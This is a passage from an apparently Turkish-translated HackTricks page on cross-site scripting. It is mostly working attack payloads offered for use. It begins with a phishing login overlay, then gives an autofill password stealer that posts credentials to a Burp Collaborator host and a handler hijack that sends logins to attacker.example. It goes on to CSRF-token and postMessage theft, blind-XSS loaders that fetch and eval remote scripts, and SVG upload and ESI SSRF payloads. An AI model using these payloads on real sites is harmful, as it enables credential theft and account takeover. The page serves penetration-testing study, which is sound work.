<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Otomatik doldurma şifrelerini yakalama
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Parola alanına herhangi bir veri girildiğinde, username ve password saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile hiçbir şey yazmasa dahi kimlik bilgileri sızdırılacaktır.
Eğer kritik bir handler (e.g., function DoLogin(){...}
) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (e.g., via an inline JS-in-JS sink), aynı isimle bir const
tanımlayarak handler'ı önceden ele geçirip kilitleyin. Daha sonraki function declarations bir const
ismini yeniden bağlayamaz; böylece hook kontrolü elinde tutar:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notlar
- Bu, yürütme sırasına dayanır: injection'ınız meşru deklarasyondan önce çalışmalıdır.
- Eğer payload'unuz
eval(...)
ile sarılmışsa,const/let
bindings global olmaz. Gerçek bir true global, non-rebindable binding sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'daki dynamic<script>
injection tekniğini kullanın. - Anahtar kelime filtreleri kodu engellediğinde, Unicode-escaped identifiers veya
eval(atob('...'))
delivery ile birleştirin, yukarıda gösterildiği gibi.
Keylogger
Sadece github'da arama yapınca birkaç farklı tane buldum:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ayrıca metasploit
http_javascript_keylogger
'ı da kullanabilirsiniz
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage mesajlarını çalma
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers'ı Kötüye Kullanma
Shadow DOM'a Erişim
Polyglots
Blind XSS payloads
Ayrıca şu adresi de kullanabilirsiniz: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Gizli İçeriğe Erişim
From this writeup üzerinden öğrenilebileceği gibi bazı değerler JS'ten kaybolsa bile, bunları farklı nesnelerdeki JS attributes içinde bulmak hâlâ mümkün. Örneğin, bir REGEX input'u, regex inputunun değeri kaldırıldıktan sonra bile bulunabilir:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS ile diğer zafiyetleri suistimal etme
XSS in Markdown
Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:
XSS to SSRF
Önbellekleme kullanan bir sitede XSS mi buldunuz? Edge Side Include Injection ile bunu SSRF'e yükseltmeyi deneyin; payload:
<esi:include src="http://yoursite.com/capture" />
Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını bypass etmek için kullanın!
Daha fazla bilgi için: XSLT.
Dinamik oluşturulan PDF'te XSS
Eğer bir web sayfası kullanıcı kontrollü girdilerle PDF oluşturuyorsa, PDF'yi oluşturan bot'u kandırarak herhangi bir JS kodu çalıştırmasını sağlayabilirsiniz.
Yani, eğer PDF creator bot herhangi bir HTML tags bulursa, bunları interpret edecek ve bu davranışı abuse ederek bir Server XSS tetikleyebilirsiniz.
Eğer HTML tags enjekte edemiyorsanız, inject PDF data denemeye değer olabilir:
Amp4Email'de XSS
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayan, işlevselliği sağlamak için JavaScript ile desteklenmiş HTML tag'larını içeren; hız ve güvenliğe vurgu yapan bir teknolojidir. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.
AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşime girmesini sağlar.
Örnek: writeup XSS in Amp4Email in Gmail.
XSS dosya yükleme (svg)
Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Daha fazla SVG payloads için bak: https://github.com/allanlw/svg-cheatsheet
Çeşitli JS Hileleri & İlgili Bilgiler
Misc JS Tricks & Relevant Info
XSS kaynakları
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.